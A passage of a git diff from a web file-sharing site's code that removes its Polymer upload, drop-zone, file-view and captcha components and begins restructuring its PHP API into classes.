case 'state-upload-end': {
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'progress-load-file': {
|
||||||
|
this.SetProgressBar(progress < 0.01 ? 0.01 : progress);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'progress-hash-file': {
|
||||||
|
this.SetProgressBar(progress < 0.01 ? 0.01 : progress);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Handles upload errors to display on the UI
|
||||||
|
*/
|
||||||
|
this.HandleError = function (err) {
|
||||||
|
Log.E(err.error);
|
||||||
|
switch (err.type) {
|
||||||
|
case 'FileReaderError': {
|
||||||
|
this.SetProgressBar('1px');
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a template for the upload to show progress
|
||||||
|
*/
|
||||||
|
this.CreateNode = function () {
|
||||||
|
let nelm = document.importNode(App.Templates.Upload.content, true);
|
||||||
|
nelm.fileInfo = nelm.querySelector('.file-info');
|
||||||
|
nelm.progress = nelm.querySelector('.upload-progress span');
|
||||||
|
nelm.progressBar = nelm.querySelector('.upload-progress div');
|
||||||
|
nelm.status = nelm.querySelector('.status');
|
||||||
|
|
||||||
|
nelm.fileInfo.textContent = this.file.name;
|
||||||
|
this.domNode = nelm;
|
||||||
|
$('#uploads').appendChild(nelm);
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Processes the file upload
|
||||||
|
* @return {Promise}
|
||||||
|
*/
|
||||||
|
this.ProcessUpload = async function () {
|
||||||
|
Log.I(`Starting upload for ${this.file.name}`);
|
||||||
|
this.CreateNode();
|
||||||
|
|
||||||
|
let h256 = App.Utils.ArrayToHex(await this.HashFile());
|
||||||
|
let h160 = CryptoJS.RIPEMD160(h256);
|
||||||
|
Log.I(`${this.file.name} hash is: ${h256} (${h160})`);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
App.Init();
|
@@ -1,88 +0,0 @@
|
|||||||
const API = {
|
|
||||||
xhr: function (method, url, data, cb) {
|
|
||||||
let x = new XMLHttpRequest();
|
|
||||||
x.onreadystatechange = function () {
|
|
||||||
if (x.readyState === 4 && cb !== undefined && cb !== null && typeof cb === 'function') {
|
|
||||||
cb(this);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
x.open(method, url, true);
|
|
||||||
if (data !== null) {
|
|
||||||
x.setRequestHeader('Content-Type', 'application/json');
|
|
||||||
x.send(JSON.stringify(data));
|
|
||||||
} else {
|
|
||||||
x.send();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
sendAPICommand: function (data, cb) {
|
|
||||||
API.xhr('POST', '/src/php/api.php', data, function (xhr) {
|
|
||||||
if(xhr.status == 200) {
|
|
||||||
cb(JSON.parse(xhr.response));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
|
|
||||||
getServerConfig: function (cb) {
|
|
||||||
API.sendAPICommand({ cmd: 'config' }, function (data) {
|
|
||||||
cb(data);
|
|
||||||
});
|
|
||||||
},
|
|
||||||
|
|
||||||
getFileInfo: function(hash, cb) {
|
|
||||||
API.sendAPICommand({ cmd: 'file', hash: hash }, function (data) {
|
|
||||||
cb(data);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const Util = {
|
|
||||||
formatBytes: function (b, f) {
|
|
||||||
f = f === undefined ? 2 : f;
|
|
||||||
if(b >= 1099511627776) {
|
|
||||||
return (b / 1099511627776.0).toFixed(f) + ' TiB';
|
|
||||||
}else if (b >= 1073741824) {
|
|
||||||
return (b / 1073741824.0).toFixed(f) + ' GiB';
|
|
||||||
} else if (b >= 1048576) {
|
|
||||||
return (b / 1048576.0).toFixed(f) + ' MiB';
|
|
||||||
} else if (b >= 1024) {
|
|
||||||
return (b / 1024.0).toFixed(f) + ' KiB';
|
|
||||||
}
|
|
||||||
return b.toFixed(f | 2) + ' B'
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const doCaptcha = function(view){
|
|
||||||
API.sendAPICommand({ cmd: 'captcha_config' }, function(data){
|
|
||||||
this.view.captchaKey = data.cap_key;
|
|
||||||
this.view.captchaDL = data.cap_dl;
|
|
||||||
|
|
||||||
window['capLoad'] = function(){
|
|
||||||
window["capCb"] = function(rsp){
|
|
||||||
API.sendAPICommand({ cmd: 'captcha_verify', hash: this.view.fileInfo.hash160, token: rsp }, function(data){
|
|
||||||
if(window.location.search.indexOf('?dl') === 0){
|
|
||||||
window.location = window.location.href.replace('?dl#', '');
|
|
||||||
}else{
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
}.bind({ view: this.view }));
|
|
||||||
}.bind({ view: this.view });
|
|
||||||
|
|
||||||
grecaptcha.render(document.querySelector('#g-recaptcha'),
|
|
||||||
{
|
|
||||||
sitekey: this.view.captchaKey,
|
|
||||||
callback: 'capCb'
|
|
||||||
}
|
|
||||||
);
|
|
||||||
}.bind({ view: this.view });
|
|
||||||
let cb = document.createElement('div');
|
|
||||||
cb.id = 'g-recaptcha';
|
|
||||||
|
|
||||||
let par = document.querySelector('.content');
|
|
||||||
par.insertBefore(cb, par.firstChild);
|
|
||||||
|
|
||||||
let ct = document.createElement('script');
|
|
||||||
ct.src = 'https://www.google.com/recaptcha/api.js?onload=capLoad&render=explicit';
|
|
||||||
document.head.appendChild(ct);
|
|
||||||
}.bind({ view: view }));
|
|
||||||
};
|
|
@@ -1,164 +0,0 @@
|
|||||||
<link rel="import" href="/bower_components/polymer/polymer-element.html">
|
|
||||||
<dom-module id="void-drop-zone">
|
|
||||||
<template>
|
|
||||||
<style>
|
|
||||||
.drop-zone {
|
|
||||||
height: 400px;
|
|
||||||
border: 2px dashed #aaa;
|
|
||||||
line-height: 400px;
|
|
||||||
text-align: center;
|
|
||||||
font-size: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.drop-zone:hover {
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
|
|
||||||
.note {
|
|
||||||
font-size: 12px;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.uploads {
|
|
||||||
margin-top: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stats {
|
|
||||||
background-color: #0071a7;
|
|
||||||
color: #eee;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
line-height: 25px;
|
|
||||||
border-bottom-left-radius: 5px;
|
|
||||||
border-bottom-right-radius: 5px;
|
|
||||||
border-left: 1px solid #777;
|
|
||||||
border-bottom: 1px solid #777;
|
|
||||||
border-right: 1px solid #777;
|
|
||||||
text-align: center;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stats div {
|
|
||||||
width: 25%;
|
|
||||||
float: left;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stats b {
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media(max-width: 1024px) {
|
|
||||||
.drop-zone {
|
|
||||||
font-size: 30px;
|
|
||||||
height: 200px;
|
|
||||||
line-height: 200px;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@media(max-width: 520px) {
|
|
||||||
.stats b {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
<div class="drop-zone">
|
|
||||||
Max size [[formatBytes(maxSize, 0)]]
|
|
||||||
</div>
|
|
||||||
<div class="stats">
|
|
||||||
<div><b>Files:</b> [[stats.files]]</div>
|
|
||||||
<div><b>Total Size:</b> [[formatBytes(stats.size, 1)]]</div>
|
|
||||||
<div><b>Avg Size:</b> [[formatBytes(stats.avgSize, 1)]]</div>
|
|
||||||
<div><b>Transfer:</b> [[formatBytes(stats.transfer, 1)]]</div>
|
|
||||||
</div>
|
|
||||||
<template is="dom-if" if="[[expire]]">
|
|
||||||
<br/><i class="note">**Expires after [[expire]] days since last view</i>
|
|
||||||
</template>
|
|
||||||
<div class="uploads">
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
</dom-module>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
class VoidDropZone extends Polymer.Element {
|
|
||||||
static get is() { return "void-drop-zone"; }
|
|
||||||
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
|
|
||||||
this.formatBytes = Util.formatBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
ready() {
|
|
||||||
super.ready();
|
|
||||||
|
|
||||||
this.uploads = this.root.querySelector('.uploads');
|
|
||||||
|
|
||||||
API.getServerConfig(function(cfg){
|
|
||||||
this.self.maxSize = cfg.maxsize;
|
|
||||||
this.self.expire = cfg.expire;
|
|
||||||
this.self.stats = cfg.stats;
|
|
||||||
}.bind({ self: this }));
|
|
||||||
|
|
||||||
this.dz = this.root.querySelector('.drop-zone');
|
|
||||||
this.dz.addEventListener('dragover', this.handleDragOver.bind({ self: this }), false);
|
|
||||||
this.dz.addEventListener('drop', this.handleFileDropped.bind({ self: this }), false);
|
|
||||||
this.dz.addEventListener('click', this.handleFileSelect.bind({ self: this }), false);
|
|
||||||
document.addEventListener('paste', this.handleFilePaste.bind({ self: this }), false);
|
|
||||||
}
|
|
||||||
|
|
||||||
addFileUpload(file) {
|
|
||||||
var nf = new VoidUpload(this, file);
|
|
||||||
this.uploads.appendChild(nf);
|
|
||||||
|
|
||||||
if (this.dz.style.height.length === 0) {
|
|
||||||
this.dz.style.height = this.dz.style.lineHeight = this.dz.offsetHeight / 2 + 'px';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
handleFileSelect(evt) {
|
|
||||||
var i = document.createElement('input');
|
|
||||||
i.setAttribute('type', 'file');
|
|
||||||
i.addEventListener('change', function (evt) {
|
|
||||||
var fl = evt.target.files;
|
|
||||||
for (let i = 0; i < fl.length; i++) {
|
|
||||||
let file = fl[i];
|
|
||||||
this.self.addFileUpload(file);
|
|
||||||
}
|
|
||||||
}.bind({ self: this.self }));
|
|
||||||
i.click();
|
|
||||||
}
|
|
||||||
|
|
||||||
handleDragOver(evt) {
|
|
||||||
evt.stopPropagation();
|
|
||||||
evt.preventDefault();
|
|
||||||
evt.dataTransfer.dropEffect = 'copy';
|
|
||||||
}
|
|
||||||
|
|
||||||
handleFileDropped(evt) {
|
|
||||||
evt.stopPropagation();
|
|
||||||
evt.preventDefault();
|
|
||||||
|
|
||||||
let files = evt.dataTransfer.files;
|
|
||||||
for (let i = 0; i < files.length; i++) {
|
|
||||||
this.self.addFileUpload(files[i]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
handleFilePaste(evt) {
|
|
||||||
for (var i = 0; i < evt.clipboardData.items.length; i++) {
|
|
||||||
var file = evt.clipboardData.items[i];
|
|
||||||
if (file.kind === 'file') {
|
|
||||||
this.self.addFileUpload(file.getAsFile());
|
|
||||||
} else if (file.kind === 'string' && file.type === 'text/plain') {
|
|
||||||
var file_t = file.getAsString(function (url) {
|
|
||||||
if (url.indexOf('http://') === 0 || url.indexOf('https://') === 0) {
|
|
||||||
this.self.addFileUpload(file);
|
|
||||||
}
|
|
||||||
}.bind({ self: this.self }));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
customElements.define(VoidDropZone.is, VoidDropZone)
|
|
||||||
</script>
|
|
@@ -1,68 +0,0 @@
|
|||||||
<link rel="import" href="/bower_components/polymer/polymer-element.html">
|
|
||||||
<link rel="import" href="/src/modules/dropzone.html">
|
|
||||||
<link rel="import" href="/src/modules/upload.html">
|
|
||||||
<link rel="import" href="/src/modules/view.html">
|
|
||||||
<dom-module id="void-main">
|
|
||||||
<template>
|
|
||||||
<style>
|
|
||||||
a { color: inherit; text-decoration: none; }
|
|
||||||
a:hover { text-decoration: underline; }
|
|
||||||
.footer {
|
|
||||||
text-align:center;
|
|
||||||
margin-top: 10px;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
img {
|
|
||||||
margin-top: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media(max-width: 520px) {
|
|
||||||
img {
|
|
||||||
width: 100%;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
<template is="dom-if" if="{{view}}">
|
|
||||||
<void-view hash="{{hash}}"></void-view>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="{{!view}}">
|
|
||||||
<void-drop-zone></void-drop-zone>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<div class="footer">
|
|
||||||
<div class="links">
|
|
||||||
<a href="https://discord.gg/8BkxTGs">Discord</a> |
|
|
||||||
<a href="/src/php/tip-me.php">Crypto Tips</a> |
|
|
||||||
<a href="/src/php/lightning-tip.php">⚡Lightning Tip⚡</a> |
|
|
||||||
<a href="dat://0d7fe5f1e26e8541745f585f38f7075f135abcba78409b8b93d13c4322771297/">Dat</a> |
|
|
||||||
<input type="checkbox" checked="{{miner}}" onclick="localStorage.setItem('miner', this.checked ? 'true' : 'false')"/> Miner enabled
|
|
||||||
</div>
|
|
||||||
<img src="/graph"/>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
</dom-module>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
class VoidMain extends Polymer.Element {
|
|
||||||
static get is() { return "void-main"; }
|
|
||||||
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
ready() {
|
|
||||||
super.ready();
|
|
||||||
|
|
||||||
this.hash = window.location.hash;
|
|
||||||
this.miner = (localStorage.getItem("miner") || "true") == "true";
|
|
||||||
if(this.hash.length === 41){
|
|
||||||
this.view = true;
|
|
||||||
}else{
|
|
||||||
this.view = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
customElements.define(VoidMain.is, VoidMain)
|
|
||||||
</script>
|
|
@@ -1,249 +0,0 @@
|
|||||||
<link rel="import" href="/bower_components/polymer/polymer-element.html">
|
|
||||||
<dom-module id="void-upload">
|
|
||||||
<template>
|
|
||||||
<style>
|
|
||||||
.upload {
|
|
||||||
margin-bottom: 2px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.upload-header {
|
|
||||||
overflow: hidden;
|
|
||||||
height: 40px;
|
|
||||||
line-height: 20px;
|
|
||||||
background-color: #94aeec;
|
|
||||||
color: #000;
|
|
||||||
}
|
|
||||||
|
|
||||||
.upload-header-content {
|
|
||||||
padding: 10px;
|
|
||||||
float: left;
|
|
||||||
}
|
|
||||||
|
|
||||||
.upload-header-content-filename {
|
|
||||||
float: left;
|
|
||||||
height: 20px;
|
|
||||||
width: 120px;
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
overflow:hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
.upload-content {
|
|
||||||
background-color: #638aa0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.upload-header-tag {
|
|
||||||
float: right;
|
|
||||||
background-color: #6d6d6d;
|
|
||||||
padding: 10px;
|
|
||||||
width: 80px;
|
|
||||||
text-align: center;
|
|
||||||
font-size: 12px;
|
|
||||||
color: #eee;
|
|
||||||
}
|
|
||||||
|
|
||||||
.abort-tag {
|
|
||||||
background-color: #ff4d4d;
|
|
||||||
width: auto;
|
|
||||||
min-width: 25px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.cap {
|
|
||||||
text-transform: uppercase;
|
|
||||||
font-weight: bold;
|
|
||||||
}
|
|
||||||
|
|
||||||
.cap:hover {
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
|
|
||||||
.upload-progress-bar {
|
|
||||||
background-color: #35b300;
|
|
||||||
height: 10px;
|
|
||||||
border-right: 1px solid #3F51B5;
|
|
||||||
}
|
|
||||||
|
|
||||||
@keyframes uploadAnimated {
|
|
||||||
0% {
|
|
||||||
background-color: #6c8bff;
|
|
||||||
}
|
|
||||||
|
|
||||||
50% {
|
|
||||||
background-color: #95acff;
|
|
||||||
}
|
|
||||||
|
|
||||||
100% {
|
|
||||||
background-color: #6c8bff;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
.material-icons {
|
|
||||||
font-family: 'Material Icons';
|
|
||||||
font-weight: normal;
|
|
||||||
font-style: normal;
|
|
||||||
font-size: 24px;
|
|
||||||
letter-spacing: normal;
|
|
||||||
text-transform: none;
|
|
||||||
display: block;
|
|
||||||
float: left;
|
|
||||||
white-space: nowrap;
|
|
||||||
word-wrap: normal;
|
|
||||||
direction: ltr;
|
|
||||||
-webkit-font-feature-settings: 'liga';
|
|
||||||
-webkit-font-smoothing: antialiased;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
|
|
||||||
<div class="upload">
|
|
||||||
<div class="upload-header">
|
|
||||||
<div class="upload-header-content">
|
|
||||||
<i class="material-icons" style="margin-right: 10px">file_upload</i>
|
|
||||||
<div class="upload-header-content-filename">{{file.name}}</div>
|
|
||||||
</div>
|
|
||||||
<template is="dom-if" if="{{!complete}}">
|
|
||||||
<div class="upload-header-tag abort-tag">
|
|
||||||
<i class="material-icons" on-click="abortUpload">cancel</i>
|
|
||||||
</div>
|
|
||||||
<div class="upload-header-tag">
|
|
||||||
{{formatBytes(transferRate)}}/s
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="{{complete}}">
|
|
||||||
<template is="dom-if" if="{{!error}}">
|
|
||||||
<div class="upload-header-tag" style="border-left: 1px solid #888;">
|
|
||||||
<div class="cap" on-click="openLink">link</div>
|
|
||||||
</div>
|
|
||||||
<div class="upload-header-tag">
|
|
||||||
<div class="cap" on-click="openViewLink">view</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="{{error}}">
|
|
||||||
<div class="upload-header-tag abort-tag"><i class="material-icons" style="margin-right: 10px">error_outline</i> {{response.msg}}</div>
|
|
||||||
</template>
|
|
||||||
</template>
|
|
||||||
</div>
|
|
||||||
<div class="upload-content">
|
|
||||||
<template is="dom-if" if="{{!complete}}">
|
|
||||||
<div class="upload-progress-bar" style="width: calc(100 * {{progress}}%)"></div>
|
|
||||||
</template>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
</dom-module>
|
|
||||||
<script>
|
|
||||||
class VoidUpload extends Polymer.Element {
|
|
||||||
static get is() { return "void-upload"; }
|
|
||||||
|
|
||||||
static get properties() {
|
|
||||||
return {
|
|
||||||
file: Object
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
truncatedName() {
|
|
||||||
return this.file !== undefined ? this.file.name.substring(0, 10) : '';
|
|
||||||
}
|
|
||||||
|
|
||||||
abortUpload() {
|
|
||||||
if (this.xhr) {
|
|
||||||
this.xhr.abort();
|
|
||||||
this.response = { msg: "Aborted by user" };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
openLink() {
|
|
||||||
if (this.response !== undefined && this.response !== null && this.response.link !== undefined && this.response.link !== null && this.response.link.length > 0) {
|
|
||||||
window.open(window.location.href + this.response.publichash, '_blank');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
openViewLink() {
|
|
||||||
if (this.response !== undefined && this.response !== null && this.response.link !== undefined && this.response.link !== null && this.response.link.length > 0) {
|
|
||||||
window.open(window.location.href + '#' + this.response.publichash, '_blank');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
uploadBlob() {
|
|
||||||
if (!this.xhr) {
|
|
||||||
this.xhr = new XMLHttpRequest();
|
|
||||||
|
|
||||||
this.xhr.upload.addEventListener('progress', this.uploadProgress.bind({ self: this }));
|
|
||||||
this.xhr.upload.addEventListener('load', this.uploadProgress.bind({ self: this }));
|
|
||||||
this.xhr.upload.addEventListener('error', this.uploadProgress.bind({ self: this }));
|
|
||||||
this.xhr.upload.addEventListener('abort', this.uploadProgress.bind({ self: this }));
|
|
||||||
this.xhr.addEventListener('readystatechange', this.uploadProgress.bind({ self: this }));
|
|
||||||
|
|
||||||
this.xhr.open("POST", "https://upload.void.cat/src/php/upload.php?filename=" + this.file.name + (this.file.url ? "&remote=" + encodeURIComponent(this.file.url) : ""));
|
|
||||||
this.xhr.send(this.file);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
uploadProgress(evt) {
|
|
||||||
switch (evt.type) {
|
|
||||||
case 'readystatechange': {
|
|
||||||
if (evt.target.readyState == 4) {
|
|
||||||
this.self.complete = true;
|
|
||||||
if (evt.target.status == 200) {
|
|
||||||
this.self.response = JSON.parse(evt.target.response);
|
|
||||||
if (this.self.response.status !== 200) {
|
|
||||||
this.self.error = true;
|
|
||||||
}
|
|
||||||
this.self.notifyPath('error');
|
|
||||||
} else {
|
|
||||||
this.self.error = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case 'progress': {
|
|
||||||
this.self.progress = parseFloat(evt.loaded) / parseFloat(evt.total);
|
|
||||||
|
|
||||||
let txnow = Date.now()
|
|
||||||
let txdif = evt.loaded - this.self.lastProgressLoaded;
|
|
||||||
let txt = txnow - this.self.lastProgress;
|
|
||||||
|
|
||||||
let txrate = txdif / (txt / 1000.0);
|
|
||||||
this.self.transferRate = txrate;
|
|
||||||
this.self.lastProgressLoaded = evt.loaded;
|
|
||||||
this.self.lastProgress = txnow;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case 'error': {
|
|
||||||
this.self.error = true;
|
|
||||||
this.self.complete = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
constructor(dz, file) {
|
|
||||||
super();
|
|
||||||
|
|
||||||
this.dropZone = dz;
|
|
||||||
this.formatBytes = Util.formatBytes;
|
|
||||||
this.file = file;
|
|
||||||
this.progress = 0;
|
|
||||||
this.lastProgressLoaded = 0;
|
|
||||||
this.lastProgress = Date.now();
|
|
||||||
this.transferRate = 0;
|
|
||||||
this.response = {}
|
|
||||||
this.complete = false;
|
|
||||||
this.error = false;
|
|
||||||
|
|
||||||
if (file.size > this.dropZone.maxSize) {
|
|
||||||
this.complete = true;
|
|
||||||
this.error = true;
|
|
||||||
this.response = { msg: "File too big" };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ready() {
|
|
||||||
super.ready()
|
|
||||||
|
|
||||||
if (!this.error) {
|
|
||||||
this.uploadBlob();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
customElements.define(VoidUpload.is, VoidUpload);
|
|
||||||
</script>
|
|
@@ -1,133 +0,0 @@
|
|||||||
<link rel="import" href="/bower_components/polymer/polymer-element.html">
|
|
||||||
<dom-module id="void-view">
|
|
||||||
<template>
|
|
||||||
<style>
|
|
||||||
img {
|
|
||||||
max-width: 100%;
|
|
||||||
display: block;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.file-info {
|
|
||||||
margin-top: 10px;
|
|
||||||
background-color: #1fa4ab;
|
|
||||||
line-height: 30px;
|
|
||||||
width: 300px;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
border-radius: 3px;
|
|
||||||
padding: 5px 10px 5px 10px;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
.file-info-views {
|
|
||||||
float: left;
|
|
||||||
}
|
|
||||||
|
|
||||||
.file-info-size {
|
|
||||||
float: right;
|
|
||||||
}
|
|
||||||
|
|
||||||
.material-icons {
|
|
||||||
font-family: 'Material Icons';
|
|
||||||
font-weight: normal;
|
|
||||||
font-style: normal;
|
|
||||||
font-size: 25px;
|
|
||||||
float:left;
|
|
||||||
margin-right: 5px;
|
|
||||||
text-transform: none;
|
|
||||||
letter-spacing: normal;
|
|
||||||
word-wrap: normal;
|
|
||||||
white-space: nowrap;
|
|
||||||
direction: ltr;
|
|
||||||
-webkit-font-smoothing: antialiased;
|
|
||||||
text-rendering: optimizeLegibility;
|
|
||||||
-moz-osx-font-smoothing: grayscale;
|
|
||||||
font-feature-settings: 'liga';
|
|
||||||
}
|
|
||||||
|
|
||||||
audio, video {
|
|
||||||
width: 100%;
|
|
||||||
}
|
|
||||||
|
|
||||||
.default {
|
|
||||||
font-size: 20px;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.captcha { text-align: center; }
|
|
||||||
</style>
|
|
||||||
<template is="dom-if" if="[[isCaptcha]]">
|
|
||||||
<div class="captcha">
|
|
||||||
<h3>Oh no :( you downloaded this file [[captchaDL]] times, please verify you are human</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="[[isImage]]">
|
|
||||||
<img src="[[fileInfo.url]]"/>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="[[isVideo]]">
|
|
||||||
<video controls>
|
|
||||||
<source src="[[fileInfo.url]]" type="[[fileInfo.mime]]">
|
|
||||||
</video>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="[[isSound]]">
|
|
||||||
<audio controls>
|
|
||||||
<source src="[[fileInfo.url]]" type="[[fileInfo.mime]]">
|
|
||||||
</audio>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="[[isDefault]]">
|
|
||||||
<div class="default">
|
|
||||||
<a href="[[fileInfo.url]]">Download [[fileInfo.filename]]</a>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
<template is="dom-if" if="[[!isCaptcha]]">
|
|
||||||
<div class="file-info">
|
|
||||||
<div class="file-info-views">
|
|
||||||
<div class="material-icons">cloud_download</div>Downloads: [[fileInfo.views]]
|
|
||||||
</div>
|
|
||||||
<div class="file-info-size">Size: [[formatBytes(fileInfo.size)]]</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
</template>
|
|
||||||
</dom-module>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
class VoidView extends Polymer.Element {
|
|
||||||
static get is() { return "void-view"; }
|
|
||||||
|
|
||||||
get properties() {
|
|
||||||
return {
|
|
||||||
"hash": String
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
this.formatBytes = Util.formatBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
ready() {
|
|
||||||
super.ready();
|
|
||||||
if(location.search.indexOf('?captcha') === 0){
|
|
||||||
doCaptcha(this);
|
|
||||||
this.isCaptcha = true;
|
|
||||||
} else {
|
|
||||||
API.getFileInfo(this.hash.substring(1), function(data) {
|
|
||||||
this.self.fileInfo = data.file;
|
|
||||||
if(data.captcha) {
|
|
||||||
doCaptcha(this.self);
|
|
||||||
this.self.isCaptcha = true;
|
|
||||||
}else{
|
|
||||||
this.self.isCaptcha = false;
|
|
||||||
this.self.isImage = (this.self.fileInfo.mime.match(/^image\/(png|jpg|jpeg|gif|bmp)$/gi) !== null);
|
|
||||||
this.self.isVideo = (this.self.fileInfo.mime.match(/^video\/(mp4|mkv|avi|m4v|webm)$/gi) !== null);
|
|
||||||
this.self.isSound = (this.self.fileInfo.mime.match(/^audio\/(mp3|ogg|flac|wav|alac)$/gi) !== null);
|
|
||||||
this.self.isDefault = !this.self.isImage && !this.self.isVideo && !this.self.isSound;
|
|
||||||
}
|
|
||||||
}.bind({ self: this }));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
customElements.define(VoidView.is, VoidView)
|
|
||||||
</script>
|
|
9
src/php/abuse.php
Normal file
9
src/php/abuse.php
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
class Abuse {
|
||||||
|
|
||||||
|
function CheckDownloadAbuse($req) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
@@ -1,96 +1,13 @@
|
|||||||
<?php
|
<?php
|
||||||
include_once('config.php');
|
|
||||||
include_once('functions.php');
|
|
||||||
|
|
||||||
$body = file_get_contents('php://input');
|
class Api implements RequestHandler {
|
||||||
$c = json_decode($body);
|
public function HandleRequest() {
|
||||||
$rsp = array(
|
|
||||||
"input" => $c
|
|
||||||
);
|
|
||||||
|
|
||||||
$redis = new Redis();
|
}
|
||||||
$redis->pconnect(_REDIS_SERVER);
|
|
||||||
|
|
||||||
ga_page_view($redis);
|
public function GetStats() {
|
||||||
|
|
||||||
switch($c->cmd){
|
}
|
||||||
case "config":
|
}
|
||||||
{
|
|
||||||
include_once("db.php");
|
|
||||||
|
|
||||||
$db = new DB();
|
|
||||||
$rsp["stats"] = $db->GetStats();
|
|
||||||
|
|
||||||
$maxsizeM = ini_get('post_max_size');
|
|
||||||
$maxsize = (int)(str_replace('M', '', $maxsizeM) * 1000 * 1000);
|
|
||||||
$rsp["maxsize"] = $maxsize;
|
|
||||||
$rsp["expire"] = _FILE_EXPIRE_TIME;
|
|
||||||
//$rsp["tips"] = GetTipTotal();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case "file":
|
|
||||||
{
|
|
||||||
include_once("db.php");
|
|
||||||
|
|
||||||
$db = new DB();
|
|
||||||
$fi = $db->GetFile($c->hash);
|
|
||||||
if($fi->hash160 != NULL)
|
|
||||||
{
|
|
||||||
unset($fi->path); //block internal path value
|
|
||||||
$fi->url = _SITEURL . $fi->hash160;
|
|
||||||
$rsp["file"] = $fi;
|
|
||||||
|
|
||||||
$hashKey = _UIP . ':' . $fi->hash160;
|
|
||||||
|
|
||||||
$dlCounter = $redis->get($hashKey);
|
|
||||||
if($dlCounter != False && $dlCounter >= _DL_CAPTCHA) {
|
|
